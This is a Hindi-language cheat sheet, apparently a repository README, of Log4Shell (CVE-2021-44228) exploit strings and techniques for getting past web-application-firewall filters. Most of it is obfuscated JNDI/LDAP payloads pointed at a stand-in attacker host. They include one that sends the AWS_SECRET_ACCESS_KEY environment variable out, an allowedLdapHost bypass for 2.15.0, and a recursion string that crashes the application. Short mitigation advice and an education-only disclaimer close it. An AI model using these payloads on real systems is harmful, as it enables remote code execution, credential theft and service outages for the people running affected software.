
🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J जावा एक्सप्लॉइट - WAF बायपास तरकीबें
CVE-2021-44228 निम्न पर काम करता है:
log4j: 2.0 <= Apache log4j <= 2.14.1
Java संस्करण जो पहले से पैच किए गए हैं: 6u211+, 7u201+, 8u191+, 11.0.1+।
Windows Defender ने उन .java फ़ाइलों को हटाना शुरू कर दिया है जिनमें jndi:ldap:.... शामिल है।
सरल हमलावर स्क्रिप्ट (संभावित RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF या डेवलपर्स ने निम्नलिखित वाक्यांशों को ब्लॉक करना शुरू कर दिया है:
एप्लिकेशन को सुरक्षित करने के लिए।
हालांकि, हमलावर इनमें से किसी एक तकनीक का उपयोग करके इसे बायपास कर सकता है:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Apache Log4j 2 दस्तावेज़ से: ${env:ENV_NAME:-default_value}
यदि कोई ENV_NAME सिस्टम पर्यावरण चर नहीं है, तो :- के बाद के टेक्स्ट का उपयोग करें।
हमलावर ENV_NAME के बजाय कोई भी नाम उपयोग कर सकता है, लेकिन उसका अस्तित्व में नहीं होना चाहिए।
या हैकर पर्यावरण चर पढ़ सकता है, उदाहरण के लिए AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
और अधिक रहस्य देखें 🦄🔒 पर्यावरण चर में रहस्यों की अद्भुत सूची 🖥️
आप अपने सिस्टम पर्यावरण चरों की जाँच कर सकते हैं:
dir env:printenv या env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
लोअर लुकअप LowerLookup पारित किए गए तर्क को लोअर केस में परिवर्तित करता है। संभवतः मान नेस्टेड लुकअप का परिणाम होगा।
${lower:<text>}
अपर लुकअप UpperLookup पारित किए गए तर्क को अपर केस में परिवर्तित करता है। संभवतः मान नेस्टेड लुकअप का परिणाम होगा।
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı को i में बदल दिया गया
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
यदि कोई SYS_NAME सिस्टम गुण नहीं है, तो :- के बाद के टेक्स्ट का उपयोग करें।
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java दिनांक स्वरूपण YYYY को 2021 में बदलता है, लेकिन यह 'YYYY' को YYYY या 'j' को j में बदलता है।
अक्षरों को बदलें:
आप यहाँ और पढ़ सकते हैं HTML URL एन्कोडिंग संदर्भ
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
यह लुकअप के अस्तित्व की पुष्टि नहीं करता है और बस खुशी-खुशी डिफ़ॉल्ट का मूल्यांकन करता है।
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"अलग-अलग ये कुंजियाँ और मान कोई हमला नहीं दर्शाते हैं। लेकिन ये सब मिलकर एक हमला है और यह हमला JSON पार्सर के कारण पहचान प्रणालियों के लिए पारदर्शी है।" और पढ़ें...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
कुछ वर्णों को यूनिकोड में बदलें।
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Log4J 2.15.0 में allowedLdapHost और allowedClasses जांच को बायपास करता है। java.net.URI getHost() विधि वास्तविक होस्ट के रूप में # से पहले का मान लौटाती है। लेकिन JNDI/LDAP रिज़ॉल्वर दुर्भावनापूर्ण LDAP सर्वर से कनेक्ट करने का प्रयास करते हुए पूर्ण होस्टनाम स्ट्रिंग को हल करेगा।
${${::-${::-$${::-j}}}}
यदि निम्नलिखित स्ट्रिंग पर किसी भी कारण से स्ट्रिंग प्रतिस्थापन का प्रयास किया जाता है, तो यह अनंत पुनरावृत्ति को ट्रिगर करेगा, और एप्लिकेशन क्रैश हो जाएगा।
CVE-2021-44228 का शोषण करने के लिए विशेष pdf फ़ाइल बनाएं

PDF फ़ाइल प्राप्त करें और और पढ़ें...
प्रविष्टि का परीक्षण करने के लिए आप इसका उपयोग कर सकते हैं:
tl;dr log4j-2.17.1 या बाद के संस्करण में अपडेट करें।
Log4j 1.x शमन: Log4j 1.x में Lookups नहीं हैं इसलिए जोखिम कम है। Log4j 1.x का उपयोग करने वाले एप्लिकेशन केवल तब इस हमले के लिए संवेदनशील होते हैं जब वे अपने कॉन्फ़िगरेशन में JNDI का उपयोग करते हैं। इस भेद्यता के लिए एक अलग CVE (CVE-2021-4104) दर्ज किया गया है। शमन के लिए: अपने लॉगिंग कॉन्फ़िगरेशन का ऑडिट करें ताकि यह सुनिश्चित हो सके कि इसमें कोई JMSAppender कॉन्फ़िगर नहीं है। JMSAppender के बिना Log4j 1.x कॉन्फ़िगरेशन इस भेद्यता से प्रभावित नहीं होते हैं।
Log4j 2.x शमन: नीचे दिए गए शमन तकनीकों में से एक को लागू करें।
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class और ${ctx:loginId} या $${ctx:loginId} जैसे कॉन्टेक्स्ट Lookups के संदर्भ हटा दें जहाँ वे एप्लिकेशन के बाहरी स्रोतों जैसे HTTP हेडर या उपयोगकर्ता इनपुट से उत्पन्न होते हैं।ध्यान दें कि केवल log4j-core JAR फ़ाइल इस भेद्यता से प्रभावित है। केवल log4j-api JAR फ़ाइल का उपयोग करने वाले एप्लिकेशन (log4j-core JAR फ़ाइल के बिना) इस भेद्यता से प्रभावित नहीं होते हैं।

यह परियोजना केवल शैक्षिक उद्देश्यों के लिए उपयोग की जा सकती है। बिना पूर्व अनुमति के लक्षित प्रणालियों के विरुद्ध इस सॉफ़्टवेयर का उपयोग करना अवैध है, और इस सॉफ़्टवेयर के दुरुपयोग से होने वाली किसी भी क्षति की जिम्मेदारी लेखक की नहीं होगी।
मैं CVE-2021-44228 और कुछ बायपास का लेखक नहीं हूँ।